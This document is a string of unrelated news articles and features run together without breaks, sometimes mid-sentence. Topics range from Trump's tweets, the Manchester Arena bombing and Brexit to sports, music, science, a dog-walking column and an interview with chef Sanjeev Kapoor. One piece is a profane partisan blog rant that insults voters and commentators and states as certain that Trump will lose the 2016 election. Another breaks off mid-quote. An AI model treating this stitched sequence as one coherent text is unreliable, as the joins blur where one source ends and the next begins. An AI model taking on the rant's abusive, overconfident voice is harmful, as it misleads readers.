On Tuesday morning, President Trump’s personal Twitter feed was filled with tweets attacking CNN, ABC, CBS, NBC, The Washington Post, and and The New York Times as “Fake News!” and “failing.” The president retweeted the official account of Fox & Friends, one of his favorite shows where he derives some of his Republican talking points, multiple times in the early morning. He bashed CNN several times for a recently retracted story and called out the “3 employees forced to resign.” He retweeted someone mocking the network with a photoshopped image declaring them the “FAKE NEWS NETWORK.”
There wasn’t a peep about Syria, chemical weapons, or the Assad dictatorship.
—with additional reporting by Kim DozierTexas Rep. Ron Paul added the Transportation Security Administration to the long list of federal agencies he would like to abolish yesterday.
Speaking in his weekly address, “Texas Straight Talk,” the congressman and Republican presidential candidate decried the recent TSA actions that have made headlines across the country, such as when TSA agents forced a 95-year-old woman to remove her adult diaper.
“The press reports are horrifying,” Paul said. “95-year-old women humiliated, children molested, disabled people abused. Men and women subjected to unwarranted groping and touching of their most private areas, and involuntary radiation exposure.”
“If the perpetrators were a gang of criminals, their headquarters would be raided by SWAT teams and armed federal agents,” Paul continued. “Unfortunately in this case, the perpetrators are armed federal agents. […] The unfortunate fact that we put up with this doesn’t speak well to our willingness to stand up to an abusive government.”
Paul also said he was introducing a bill, the “American Traveler Dignity Act,” which would ban TSA’s “enhanced pat-downs.”
Paul has opposed federalization of airline security since the TSA’s creation shortly after the 9/11 attacks, preferring instead privatized security.Blondie have announced their 11th studio album. Pollinator is out May 5 via BMG. It was produced by John Congleton (St. Vincent, Sleater-Kinney, Swans) and features Dev Hynes (aka Blood Orange), the Smiths’ Johnny Marr, Laurie Anderson, Charli XCX, Sia, Joan Jett, TV on the Radio’s Dave Sitek, and the Strokes’ Nick Valensi. Original members Debbie Harry, Chris Stein, and Clem Burke are featured throughout the record. Find the album track “Fun” (their collaboration with Sitek), the album’s artwork by Shepard Fairey, and the tracklist below.
In a statement, Stein said of their new record, “Quoting Emma Goldman, ‘If I can’t dance I don’t want to be part of your revolution.’ In these trying times we need some fun.” Harry added, “We're very serious about fun.”
See where Blondie placed on Pitchfork’s “The 200 Best Songs of the 1980s.”
Pollinator:
01 Doom or Destiny
02 Long Time
03 Already Naked
04 Fun
05 My Monster
06 Best Day Ever
07 Gravity
08 When I Gave Up on You
09 Love Level
10 Too Much
11 Fragments
Watch Charli XCX on Pitchfork.tv’s “Over/Under”:(PhysOrg.com) -- In an amazing display of lights and sounds, the Open Spark Project and the Tesla Orchestra, formed from researchers at Case Western Reserve University, have taken Tesla coils to a whole new level. Their new Tesla Orchestra uses Tesla coils to covert music into an amazing display of lightning and sound.
An alternating current, or AC, generates each bolt of lightning. Given that it is an AC current, the bolt has a frequency that the operators can tune to represent different note on a keyboard. They designed a series of microchips and circuits that take a standard MIDI signal and convert it to a fiber optic signal that is sent to the Tesla coils.
This 40-minute version contains all the songs as played in the concert.
The Open Spark Project put a call out to all musicians last month, inviting them to submit original songs that they could convert into their music light show. Because the Tesla coils are only capable of playing one note at a time, they asked the artists to create songs specifically designed for the coils. In their demonstration videos, where they take on the Lady Gaga hit Poker Face, they will take out and perform the melody part with the Tesla coils while playing a backing track to go along with it.
On June 11, 2011, they will be performing a live show at the Masonic Auditorium in Cleveland and will be showcasing the original songs from the various artists. Poker Face by Lady Gaga, played on one of Tesla Orchestra's giant musical tesla coils.
Explore further: Another World Record in Magnet Development: 21.1 Tesla, Superconducting NMR Magnet for Chemical and Biomedical Research
More information: www.opensparkproject.com/The Tropospheric Radio Relay network called Sever (North) is a former Soviet system of communications lines the purpose of which was to provide connection between remote parts of the country. The line is 13 200 km long and consists of 46 Tropospheric Radio Relay Stations (TRRS) located mainly along the coast of the Northern and Pacific Ocean and largest Siberian rivers.
The system was launched in the end of 1960. With its help people of the Far North and Far East of Russia were connected to one another. The system actually embraced a network of stations located 120-145 km away from one another. Every such a station was represented by a military town that could supply itself with energy and heat, water and necessary goods.
The TRRS-60 we are visiting today was situated on the Far North of Russia that was launched in 1966.
It was decided that the station will be serviced by soldiers and officers as it would be hard for civilians to handle the severe conditions of the north.
All the station were autonomous.
The tropospheric network could not supply people with reliable connection. The signal was rather weak and due to the tropospheric condition the transmitted signal could be shifted considerably.ANAHEIM, Calif. -- Newly minted No. 1 light heavyweight contender Lyoto Machida says he will shelf any plans of a potential drop to the middleweight division for now.
Following a split-decision win over Dan Henderson at UFC 157 on Saturday, UFC president Dana White confirmed Machida's spot at the top of the division.
"It wasn't the most exciting fight I've ever seen, but Lyoto won the fight," White said. "He just beat the No. 1 contender, which would make him the No. 1 contender."
Machida (19-3) narrowly edged Henderson in the night's co-main event. The former champion had acknowledged before the fight he harbors interest in a move to the 185-pound division. But given White's comments, Machida plans to stay at 205.
"Now, with this opportunity, I want to stay at 205," Machida said. "I want to fight for the belt."
The Brazilian last fought for the belt at UFC 140, losing via second-round submission to current champion Jon Jones. Jones is scheduled to make his fifth title defense against Chael Sonnen on April 27.
When asked what would happen if light heavyweight contender Alexander Gustafsson turns in a strong performance against Gegard Mousasi in April, White was somewhat vague but leaned mostly toward Machida maintaining the spot.
"We're a little backed up right now," White said regarding the 205-pound title picture. "Jones will fight that fight, then fight Machida and then we'll see who's next."
Henderson (29-9), who had been scheduled to fight Jones in September but withdrew because of injury, blamed himself for coming up short against Machida. Two judges scored the fight 29-28 for Machida; the third 29-28 for Henderson.
"In my mind, I thought I did enough to win the fight, but it was my fault," Henderson said. "I don't place the blame on the judges. I should have been more aggressive.
"I needed to stay in his face, cut him off a little better and make him fight. He did a good job of not fighting -- picking and choosing when he threw strikes."This is the second of a three-part series examining how the rest of the AFC East fared during the offseason. Today's installment looks at the Miami Dolphins.
The Miami Dolphins didn't approach the offseason looking to make a big splash, as they did with the $114-million contract they gave free-agent defensive tackle Ndamukong Suh in 2015.
This time, they were far more methodical.
They looked at the 2016 team that finished 10-6 and earned a wild-card playoff spot, and concluded that it made far more sense to mainly keep and build upon what they already had.
Rather than throw a heaping pile of cash at a singular difference-making force, the Dolphins invested in retaining some of their best players while using free agency, trades, and the draft to enhance the defense around Suh.
They gave wide receiver Kenny Stills and defensive end Andre Branch new contracts before they would hit the open market in March. They also extended the deals of linebacker Kiko Alonso (who, consequently, drew some social media shade from Buffalo Bills running back LeSean McCoy) and safety Reshad Jones.
The Dolphins did make an offensive addition, trading for Jacksonville Jaguars tight end Julius Thomas. But the primary goal of their additions was to improve a defense that ranked 29th in the NFL last year -- 30th against the rush and 15th against the pass.
Here's the breakdown on the Dolphins:
Key additions: LB Lawrence Timmons (FA, Pittsburgh), S Nate Allen (FA, Oakland), TE Julius Thomas (trade, Jacksonville), DE William Hayes (trade, L.A. Rams), S T.J. McDonald (FA, L.A. Rams), DE Charles Harris and LB Raekwon McMillan.
Key losses: T Branden Albert, DT Earl Mitchell, S Isa Abdul-Quddus, DE Dion Jordan and DE Mario Williams.
Better, worse or the same?: Slightly better.
Of course, in the AFC East, everything the rest of the division does is measured against the gold standard that is the New England Patriots. And even after winning a fifth Super Bowl, the Pats appear to have somehow managed to upgrade themselves.
So much of what the Dolphins have done in an effort to close that gap depends upon the performance of quarterback Ryan Tannehill. Tannehill told reporters in May that he has healed from the sprained ACL and MCL in his left knee that caused him to miss the final four games of last season, including the Dolphins' wild-card loss against Pittsburgh.
He seems to have benefitted from working with Adam Gase, the Dolphins' second-year coach who excels at getting the best out of quarterbacks.
By trading Albert to the Jaguars, the Dolphins cleared the way for last year's first-round pick, Laremy Tunsil, to move to left tackle after spending his rookie season at left guard. Whether Tunsil is ready to consistently perform at a high level at a more demanding position remains to be seen, but this was why the Dolphins used the 13th overall pick to get him. Replacing Tunsil is also a concern (free-agent acquisition Ted Larsen gets first crack), as is the health of center Mike Pouncey, who is recovering from hip surgery.
If Allen can stay healthy, he should help make the Dolphins' secondary better. McDonald is highly talented, but won't be available until after serving an eight-game suspension for driving under the influence of prescription drugs.
Timmons should help fortify the defensive middle. The Dolphins' first two draft choices -- Harris, from Missouri, and McMillan, from Ohio State -- add much-needed speed and depth to the front seven.
Next: New York Jets
More from the AFC East series:I tweeted about this yesterday, but I’m gonna put the take here because maybe you’re already freaking out about Tuesday and starting to drink heavily. Here’s the deal: Donald Trump is going to get his ass kicked. Anyone who says otherwise is either a) afraid of jinxing it and/or making Hillary Clinton voters complacent (understandable); b) afraid of being wrong (Nate Silver); c) supporting Trump; or d) interested in making this a “horse race” for the sake of maintaining public interest (most of the television media, along with grotesque shitbags like Mark Halperin).
But this isn’t close, and never was. The evidence right there in front of you, if you care to notice. Donald Trump has never led in an aggregate of polls for any significant stretch of time. He hasn’t personally raised any money for his campaign in over a month. He lost all three debates. He’s made virtually no effort to get his voters to the polls, instead relying on a Republican party that is being badly outspent and reduced to waging repugnant (and likely illegal) voter-suppression efforts that—despite being successful in some small areas—will ultimately turn legions more voters against them.
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He also made no effort to consolidate his party, and that apathy was on full display at the RNC. It ain’t like the guy has done much to win them over since then, either. Republicans dislike their candidate far more than Democrats dislike theirs. Yes, there is a very loud and visible contingent of Trump voters, especially online. But that army of Nazi Frogs tends to over-amplify Trump’s support, just like commenters are rarely representative of the full audience for any web post (wait for the comments on this post to fill if you require proof).
Trump is basically counting on voters to come out for him based on the sheer force of his personality, which is utterly repellent. Early voting already indicates that he’s fucked. Sure, he has a “path” to victory, if he wins a handful of states he has little chance of winning, slays a dragon, walks across a tightrope while balancing a baseball bat in his tiny palm, and recites the alphabet backwards and in Greek. It’s not akin to missing a chip shot field goal, or an underdog winning the World Series, or any other dumb sports analogy.
To believe that this butternut turd has any shot to win the Presidency is to believe that there is a sizable portion of the electorate that will break his way at the last moment, and there isn’t. I’m sure there are some undecided voters out there, but Larry David had those people pegged ages ago. Undecided voters tend to be idiots, liars, and/or attention whores, and there are always far fewer of them than it seems. More people support Clinton, and Clinton will get more of her people to vote than Trump will. Hence, asskicking.
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Of course, none of this should discourage you from voting. If anything, you should be even more excited to vote on Tuesday, to experience the immense satisfaction of flushing Trump down the toilet for good. More important, you could also potentially help to deal Republicans the down-ballot losses they so richly deserve for supporting this tasteless, dictatorial shitbag. That’s where the real suspense is.
But the main event is settled. Donald Trump is going to get his ass handed to him, because he is bottom-feeding scum, and most voters figured that out a long, long time ago.Armed police block a road near to the Manchester Arena in central Manchester, England, Tuesday, May 23, 2017. An explosion struck an Ariana Grande concert in northern England late Monday, killing over a dozen people and injuring dozens in what police say they are treating as a terrorist attack. (AP Photo/Rui Vieira)
UPDATE (TUESDAY) - British Prime Minister Theresa May says that it is "beyond doubt" that Britain and the city of Manchester have fallen victim to "a callous terrorist attack." See the full update here.
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An explosion struck an Ariana Grande concert in northern England late Monday, killing at least 19 people and injuring dozens in what police were treating as a terrorist attack.
Greater Manchester Police said 19 people were confirmed dead after the explosion at Manchester Arena. Northwest Ambulance Service said 59 injured people had been taken to hospitals, and a number of "walking wounded" were treated at the scene. Emergency vehicles were helping the injured and bomb disposal units were later seen outside the venue.
There was mass panic after the explosion at the end of the concert, which was part of Grande's The Dangerous Woman Tour.
Grande, who was not injured, tweeted hours later: "Broken. From the bottom of my heart, I am so so sorry. I don't have words."
Manchester Arena said on its website that the blast struck outside the venue as concertgoers were leaving.
Jenny Brewster said she was leaving the concert with her 11-year-old daughter when the blast hit.
"As I turned around, boom, one loud noise," she told Sky News. "A gentleman said 'run!' so we ran."
Outside, she said, "you could smell the burning."
Britain's terrorist threat level has been set at "severe" in recent years indicating an attack is highly likely. Police said the explosion is being judged a terrorist attack unless new information proves otherwise.
"A huge bomb-like bang went off that hugely panicked everyone and we were all trying to flee the arena," concertgoer Majid Khan, 22, told Britain's Press Association. "It was one bang and essentially everyone from the other side of the arena where the bang was heard from suddenly came running towards us as they were trying to exit."
Added Oliver Jones, 17: "The bang echoed around the foyer of the arena and people started to run."
Video from inside the arena showed concertgoers screaming as they made their way out amid a sea of pink balloons.
British Prime Minister Theresa May said the government is working to establish "the full details of what is being treated by the police as an appalling terrorist attack."
May is due to chair a meeting of the government's COBRA emergency committee later Tuesday. She and other candidates suspended campaigning for Britain's June 8 election after the blast.
If the incident is confirmed as a terrorist attack it would be the deadliest in Britain since four suicide bombers killed 52 London commuters on three subway trains and a bus in July 2005.
Police advised the public to avoid the area around the Manchester Arena, and the train station near the arena, Victoria Station, was evacuated and all trains canceled.
The Dangerous Woman Tour is the third concert tour by Grande and supports her third studio album, "Dangerous Woman."
Grande's role as Cat Valentine on Nickelodeon's high school sitcom "Victorious" propelled her to teen idol status, starting in 2010.
The 23-year-old Grande, with her signature high ponytail, went on to also star in spinoffs that included "iCarly," as she worked to develop her recording career.
The tour began in Phoenix in February. After Manchester, Grande was to perform at venues in Europe, including Belgium, Poland, Germany, Switzerland and France, with concerts in Latin America and Asia to follow.
Manchester, 160 miles (260 kilometers) miles northwest of London, was hit by a huge Irish Republican Army bomb in 1996 that leveled a large swath of the city center. More than 200 people were injured, though no one was killed.
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AP writer Leanne Italie in New York and AP Music Writer Mesfin Fekadu in Jersey City, New Jersey, contributed to this report.Just before presiding over the Times Square ball drop, Justice Sonia Sotomayor granted a temporary injunction to groups that object to filling out a piece of paper saying they don’t offer contraception coverage.
Photo by Neilson Barnard/Getty Images
Late on New Year’s Eve, Justice Sonia Sotomayor granted a small number of religiously affiliated groups a temporary injunction from a provision in the Affordable Care Act that allows them not to cover contraception in their health care plans if they fill out a form that states that they want an exemption from the law for religious reasons. Go ahead and read that sentence again. These Catholic nonprofits that wanted an exemption from covering their employees’ contraception needs—and got an exemption from covering their employees’ contraception needs—are now fighting the provision (that exempts them from covering their employees’ contraception needs) simply because they don’t want to have to fill out a form that states that they are exempt. Why? Because their employees need that form in order to get birth control directly from their insurers (which they need to do because their employers—these Catholic non-profits—are exempt, as they want to be).
That’s right: These groups are arguing that filling out a form is a violation of their religious freedom and that “religious freedom” means that you should have control over your employee’s health care decisions even when they happen outside of the insurance coverage you directly provide for them. Even the lawyer for one of the groups, the Little Sisters of the Poor Home for the Aged, admits that this lawsuit is about trying to weasel out of nothing more onerous than signing a piece of paper. “Without an emergency injunction,” Mark Rienzi told the Associated Press, “Mother Provincial Loraine Marie Maguire has to decide between two courses of action: (a) sign and submit a self-certification form, thereby violating her religious beliefs; or (b) refuse to sign the form and pay ruinous fines.” And a spokeswoman for the Becket Fund for Religious Liberty, lead counsel for the Little Sisters, said, “The government has lots of ways to deliver contraceptives to people. It doesn’t need to force the nuns to participate.” The problem is that the government agrees and has set up a system so that the nuns can opt out. The nuns refuse to opt out, however, because opting out on paper will allow their employees to get that contraception coverage.
It’s important not to read too much in Sotomayor’s willingness to grant these groups a temporary injunction from signing a piece of paper. The injunction is only to allow the status quo to continue until the case gets heard in court. That won’t be great for the employees of these groups, who will have to continue without employer-provided contraception coverage and will also be unable to get coverage directly from their insurance companies, but it doesn’t necessarily mean that the court is siding with the Sisters on this one.Nov 13, 2016; Queens, NY, USA; New York Cosmos defender Ayoze (17) looks for a pass during the NASL final at Belson Stadium. Cosmos won in shootouts 4-2. Mandatory Credit: Dennis Schneidler-USA TODAY Sports
Watch: All six goals from the USMNT WCQ against Honduras
Watch: All six goals from the USMNT WCQ against Honduras by Daniel Garza
The 2017 North American Soccer League kicked off on Saturday with three matches, which included the San Francisco Deltas first match as a member of the league.
There were no winners in the first weekend of action in the NASL, with all three matches ending on level terms. Here’s a recap of the weekend one.
North Carolina FC vs. Miami FC
Formerly known as the Carolina RailHawks, the newly rebranded North Carolina FC hosted their first match under their new name. In the end, it finished all square as both sides exchanged goals in the opening 15 minutes of the match.
North Carolina struck first in the fourth minute, as Matthew Fondy dispatched a left-footed strike into the back of the net. Lance Lang recorded the assist.
John Bouille's call of Fondy's beautiful home opener stunner in the 4th minute of tonight's match vs. @TheMiamiFC. pic.twitter.com/yY5IWDfwvt — North Carolina FC (@NorthCarolinaFC) March 25, 2017
Just 10 minutes later, former NYCFC man Kwadwo Poku leveled the match after he was initially stopped on a breakaway by Brian Sylvestre, however, he pounced on a rebound to score his first of the season.
Both sides had a few chances in the second half, but they failed to amount to anything as it finished 1-1.
Puerto Rico FC vs. New York Cosmos
The Cosmos title defense began in Puerto Rico as the 2016 champions looked to start the season off on the right foot. It was the hosts that had the first real chance of the match as a free kick took a dangerous bounce in front, however, no one was there to put it home for Puerto Rico.
Nothing seemed to be hitting the target for either side, and it finished scoreless after 90 minutes, as both sides begin their 2017 season with a draw.
San Francisco Delta vs. Indy Eleven
For the first time in NASL history, a league match was broadcasted on Twitter, as the Deltas played their opening game as a league member. It was a thrilling match that came down to the wire.
The home side scored first in the 31st minute, Kyle Bekker slotted home a pass from Danny Cruz to record the first goal in club history.
History at Kezar Stadium! Kyle Bekker finds the back of the net in the 31st minute for the first goal in club history. #SFDvIND pic.twitter.com/Wi6Ei3R99H — NASL (@naslofficial) March 26, 2017
In the 58th minute, the Eleven would equalise, Tanner Thompson got on the end of a Ben Speas cross to score his first professional goal.
A late save from Romuald Peiser allowed the Deltas to earn a point as he turned aside a dangerous low driven free kick that almost snuck through for a late winner. In the end, it finished 1-1.
All six clubs who saw action on opening weekend are tied at the top with one point. Meanwhile, Jackonsville and Edmonton are still yet to kickoff their seasons.Nigel Farage, the head of Britain’s rightwing UK Independence Party, led a flotilla of fishing boats up the Thames today (June 15), in one of the weirder stunts in the run-up to Britain’s referendum on whether to remain in the European Union on June 23.
The flotilla, which featured herring and mackerel trawlers, was organized by Scottish skippers who set up a an anti-EU ”Fishing to Leave” campaign a few weeks ago. “For too long Britain has been made to beg for the scraps of our own fish from the EU table,” the group says, citing fishing quotas imposed by the EU.
Before embarking, Farage said the flotilla—the #FarageFlotilla, as Twitter jokesters dubbed it—would be “big, visual and dramatic. The demand will be clear: we want our waters back.”
In the event, near London’s iconic Tower Bridge the fishing boats were intercepted by dinghies flying yellow “In” flags, dashing up and down the river. Horns blared, shouting ensued, and rival craft sprayed each other with hoses. Crowds gathered on river banks and bridges in central London to watch the spectacle unfold.
The “remain” group was led by a party boat with loudspeakers chartered by Bob Geldof, the former Boomtown Rats singer and founder of Live Aid. His boat blasted songs like “If You Leave Me Now” by Chicago, and he occasionally took to a mic to yell across the water at Farage.
Back on land, George Osborne, the British chancellor, once again predicted economic pain if the UK voted to leave the EU. He warned today of spending cuts and higher taxes to fill a £30 billion ($42.6 billion) “black hole” that would result from dampened trade, investment, and tax receipts.
The Brexiteers’ boats received a mixed welcome from largely pro-EU London, with campaigners on shore unfurling banners supporting continued membership in the bloc:
Twitter, naturally, simply reveled in the comedic bounty.Before the printing press, Christians were more flexible with how they interpreted the Bible.
Scholars have long known that early Christians didn’t always take everything in the Bible literally. But the recent discovery and translation of the earliest known Latin commentary on the Gospels of Matthew, Luke, and John (not Mark) has shed new light on the subject.
The text, written by a Catholic bishop named Fortunatianus, dates back to mid-fourth century Italy. According to Hugh Houghton, who translated the commentary into English and published a free version online, Fortunatianus’ text illuminates the variety of ways that early Christians interpreted the Bible.
“This work is one of a series of missing links between the way in which the Gospels were understood in Greek Christianity to how the Gospels were understood in the Latin Church,” says Houghton, who is a professor of New Testament textual scholarship at the University of Birmingham in the United Kingdom. Turns out, it’d “been sitting in a library for almost 1,200 years.”
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What Houghton thinks is really interesting about the text is that Fortunatianus isn’t discounting literal interpretations of the Bible, he’s just focusing on allegorical interpretations instead.
For example, in a passage where Jesus enters a village, Houghton says Fortunatianus might write that the “village stands for the church,” meaning that lessons about the church can be drawn from the story. Fortunatianus also writes that the number 12 is always “a reference to the disciples,” and that the number five “is always a reference to the books of the Jewish law.”
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Fortunatianus’ text translated by Houghton. (Credit: Cologne Cathedral Library)
Such a flexible reading of the Gospels wasn’t unusual in the pre-printing press period, when Biblical manuscripts and translations were more varied.
“An exclusive focus on literal interpretation is a modern phenomenon, because that’s not the way ancient Christians read the Bible,” he says. The mid-15th century invention of the printing press made copies much more identical. This, he says, “inspired a sense of the exactness of the printed form of the Bible, which was alien to the first 1,500 years of Christianity.”
Scholars had known about the existence of Fortunatianus’ “lost” commentary from ancient sources. But the text was only recently “found” at Germany’s Cologne Cathedral Library by Lukas J. Dorfbauer, a scholar at the University of Salzburg, Austria.
“Numerous people would’ve looked at it by then, but only [Dorfbauer] had the background knowledge to recognize this was what it is,” he says. “It’s a substantial work and it’s sort of extraordinary to rediscover something which is this old, and this big.”
When Houghton published his translation, the British press quickly picked up news, with the Telegraph proclaiming in one headline: “Don’t take the Bible literally.” However, Houghton says that’s not exactly the message people should take from the text.
The commentary does not illustrate that a literal interpretation of the Bible is incorrect, he says. Rather, it demonstrates that “the literal meaning is only one of a number of layers.”The small community of Bella Bella, B.C. has been left reeling this morning after a fire destroyed their only grocery store which contained a post office, cafe and liquor store.
The local fire crew and volunteers worked hard at keeping the fire contained which broke out around 4 a.m. this morning, says Bella Bella RCMP Sgt. Glen Caston. Bella Bella is an isolated community on the central coast north of Queen Charlotte Strait and is home to the Heiltsuk First Nations.
There were concerns that three large fuel tanks below the Band store, which provides the community with fuel for home heating, boats and cars, would catch fire and explode. Due to the close proximity to the fuel tanks police evacuated the local hospital and several residences in the area of the potential blast radius early this morning.
“The fire is still smoldering as there could be a false wall inside the building, which is making the fire harder to put out completely,” says Bella Bella Fire Chief Sunny Hunt. The building was a 35-year-old wood structure and although fire crews reacted quickly, the immense fire destroyed the building.
“This devastating fire has destroyed the main grocery store and other businesses which will greatly affect the entire community,” says Cst. Lesley Smith, North District Media Relations Officer. “RCMP along with the local Band Chief and Counsel are working closely together to ensure emergency plans are developed and implemented.”
Hunt says plans have been put in place to get food to the community with a barge set to arrive at Bella Bella on Sunday; which will be bringing two times the amount of food. A temporary store will be set up in the community hall and the community of Shearwater; which is across the sound does have some food to help Bella Bella.
Members of the Provincial Emergency Preparedness Program have been contacted to assist the community during this disaster that will affect the community in many levels. RCMP Forensic Identification services and the Fire Commissioner are currently enroute to the small community and are expected to arrive in Bella Bella on Saturday morning.Paul Manafort, Donald Trump Jr. to appear in front of Senate Judiciary Committee next week
Members of the Trump campaign’s inner circle are being scheduled to talk to Senate committees next week.President Donald Trump’s son-in-law, Jared Kushner, will speak with the Senate intelligence committee on Monday. That’s according to his lawyer, Abbe Lowell. He says Kushner is voluntarily cooperating with congressional probes. That interview will likely take place behind closed doors.Donald Trump Jr. and former campaign manager Paul Manafort are scheduled to testify before the Senate Judiciary Committee next Wednesday. They are among witnesses the panel has announced for a hearing on foreign influence in elections.All three men are almost certain to be asked about recent revelations they attended a June 2016 meeting with a Russian lawyer and others in the expectation of receiving incriminating information about Hillary Clinton.
Members of the Trump campaign’s inner circle are being scheduled to talk to Senate committees next week.
President Donald Trump’s son-in-law, Jared Kushner, will speak with the Senate intelligence committee on Monday. That’s according to his lawyer, Abbe Lowell. He says Kushner is voluntarily cooperating with congressional probes. That interview will likely take place behind closed doors.
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Donald Trump Jr. and former campaign manager Paul Manafort are scheduled to testify before the Senate Judiciary Committee next Wednesday. They are among witnesses the panel has announced for a hearing on foreign influence in elections.
All three men are almost certain to be asked about recent revelations they attended a June 2016 meeting with a Russian lawyer and others in the expectation of receiving incriminating information about Hillary Clinton.
AlertMeI thought I was really fit for 73 – have barely smoked or drank, no late nights, no raving, no greasy, naughty fast food. And I’ve have been striding about with dogs for 35 years. So healthy, compared with my chums: two with heart failure, two with endless coughs and pneumonia, one stroke, one double hip-replacement, two going blind and one with hernias, or are they really hernias? The doctors aren’t sure. What a fright.
Then an old pal turned up after 30 years of absence. He popped up on Facebook with a little message: “I’m still alive!” Fabulous news. He reappeared for a few months, we were thrilled to see him, and then he disappeared again. Was he still with us? I don’t know the people in his new life. Would they be able to tell me if he pegged out? Panic stations. I sent a little text message. “Are you dead?” No, but in hospital. Antibiotics not working, couldn’t breathe, couldn’t see, could only answer briefly. So I check every fortnight.
Now I’ve got to dog-walk briskly, up and down hills, or round and round Rosemary, resting on her bench
And I check on another one every few days. Is she still with us? Yes. Just about, but on a nebuliser. So life is rather hairy for us all. Checking, panicking, going down, rising again. I put my sprightliness down to the dog walking. Relatively, I was doing tremendously well. Or was I?
The truth is I haven’t really been striding anywhere. For the past couple of years I’ve only been plodding around with my old dog and Rosemary, two older ladies with sore feet and breathing difficulties, avoiding hills because they couldn’t manage the slightest incline and resting frequently. Compared with them, I was the goddess Diana.
Kennel Club dog photographer of the year 2016 – in pictures Read more
But only compared with them. Now I have a new, young, large, bouncy, enormously strong rescue dog, I see how weedy I really am, sweating and wheezing about, can’t manage inclines either, can barely run. But now I’ve got to dog-walk briskly, up and down hills, or round and round Rosemary, resting on her bench.
I already see a tiny improvement after only three weeks of dog. He is saving my life in more ways than one. Who rescued whom?Credit: Mr. Thomas via Flickr.
Scientists say too much carbon dioxide is bad for the Earth. And too much carbon monoxide can kill you. So why are researchers at the University of Michigan excited about turning CO2 into CO? Because the end product could come in handy for producing electricity and hydrogen. U of M chemists, along with others from the University of Oxford, say they've come up with an efficient way to turn carbon dioxide into carbon monoxide using visible light (like sunlight). Apparently, they're not the first ones to cite the opportunities this creates. Researchers at Sandia National Laboratories in New Mexico boasted in late 2007 about using concentrated solar energy to convert CO2 back to CO.
What's different here? The U of M/Oxford method, reported in the Journal of the American Chemical Society, apparently uses considerably less energy input than current methods. And, it's pretty close to what nature does naturally.
Credit: JACS "This is a first step in showing it's possible, and imagine microbes doing something similar," says U of M biological chemist Steve Ragsdale
"I don't know of any organism that uses light energy to activate carbon dioxide and reduce it to carbon monoxide, but I can imagine either finding an organism that can do it, or genetically engineering one to channel light energy to coax it to do that |
. He has made television history by conducting the most popular cookery show on TV for 14 years. He then created publishing history by writing books on recipes that have sold millions of copies. All this from a man who was brilliant at school and wanted to study architecture. But if fate pushed Sanjeev Kapoor into hotel management, he did not leave anything else to chance after that. He applied himself passionately and rigorously to excelling not only in the art of cooking but in managing businesses with multiple revenue sources. The Sanjeev Kapoor brand is also nurtured with a strong sense of ethics including the insistence on rigorous testing of all recipes. That is how he conjures up perfect recipes – for food and business success
ML: Can we start from the beginning… where were you born and what were your early interests?
SK: I was born into a family of bankers in Ambala; my father was posted there. He was with the State Bank of India. My grandfather and many of my uncles were bankers. My father’s job was transferable, but primarily in the north. So I studied at various schools where we lived – Delhi, Meerut, Saharanpur. I was academically brilliant and usually topped my class. I was never a studious kind of person, but I could score well.
ML: When you were young, did you think you would also become a banker?
SK: No, but from childhood, I always wanted to do what other kids were scared to do. For instance, at one stage, we had to choose between Hindi and Sanskrit and I chose Sanskrit. I was the only student in the class who opted for it. So the principal called me and said: “Why do you want to study Sanskrit? You are the only one in the class.” I said, “But there is a teacher.” We went back and forth and then he called my parents and asked them to convince me. They supported me. One reason I chose Sanskrit was that I knew I could score well and, thanks to that, I was in the merit list.
When I was a kid, I had thought I would become a doctor. At that time, brilliant students chose to become doctors or engineers. But something happened and I began to hate my biology teacher. It was over a tiny issue. We were asked to draw an electron microscope. I had done a brilliant job and was very excited about it – but in the process, I forgot to label the parts. When I gave it to the teacher, I expected him to be impressed. Instead, he took a thick red pen and wrote ‘label it’ across the drawing. That put me off completely and I said, “I won’t study biology.” Otherwise, I would have become a top doctor, I guarantee you. I could have done engineering. Going to IIT was an option, but it was predictable and didn’t appeal to me.
ML: So, hotel management and food was nowhere on the scene?
SK: Not at all. In fact, my brother was more into cooking as a hobby than I was, but he became a chartered accountant and is now a strategy consultant. Cooking was nowhere in the picture. In fact, I had thought of doing architecture at the famous School of Planning and Architecture (SPA) in Delhi. They admitted 15 students from around the country and I was confident of getting in. But, when the admission list was put up, I was wait-listed. That was a shock. I never thought I would not get in. So here I was; I had not appeared for IIT or applied anywhere else and I was wait-listed. Then a friend suggested that I apply for hotel management; he had an extra admission form. Those days, hotel management was for people who could not do anything else. Just for the fun of it, he filled up the form on my behalf, submitted it and, a couple of weeks later, he turned up and asked, "How did the interview go?” I said: “What interview?” He said, "The one for the hotel management course.”
Actually, it was my friend who wanted to join the course and wanted a sense of what they would ask at the interview. I said, “Forget about me joining; I will come with you and give you moral support.” When we reached the institute, there was a large group of students waiting to be interviewed. The criteria were – 50% marks in graduation and performance at the interview. There was a discussion there about how you could secure admission only if you knew someone, otherwise it was impossible. I said, “How can that be?” I wanted to prove that you could get in if you deserved it.
So, I went in and gave the interview committee a story about how I could not make it to the interview on the date given to me. They said, with these marks, nobody joins hotel management, why are you wasting your time and someone else’s chance of getting admission? I said, “But this is what I have always wanted to do. It is my passion, right from childhood. Otherwise why would I have taken the trouble to fill the form and come here”? I was selected. In the meanwhile, I also got admission to the SPA.
One day, I was talking to my dad’s friend. He said something interesting. “It is better to excel in a mediocre field than be a mediocre in an excellent field.” At that time, architecture was considered excellent. Anyway, I joined the hotel management programme – but even that decision had nothing to do with cooking; it was about management. My friends thought I was mad, but my family was pretty okay with it – they never interfered with my decisions, as long as I believed in what I did. So I joined hotel management; but even then, I never thought of food production as a career. Those days, being a chef didn’t call for formal training and education.
ML: It is a long grind to being top chef, isn’t it?
SK: Yes, that is interesting. When I qualified, the biggest chain of hotels was ITDC’s Ashok chain. Those days, Oberoi and ITDC had the best training programmes. I joined Oberoi; but on the first day, they assigned me to the Flight Kitchen. I decided I didn’t want to do that, and joined ITDC where also I had been selected. I didn’t appear for the Taj interview, because they were unfair – they would take people in the management grade from the Bombay Catering College and those from Delhi Catering College were appointed a rung lower.
Hotel management was a diploma course and I believed I needed a degree. My brother said: “Why don’t you do a commerce degree at the same time?” I said, “I am a science student, how can I do commerce that too an honours course?” But he was confident I could do it and I completed my BCom at the same time as hotel management.
ML: What was your experience in ITDC?
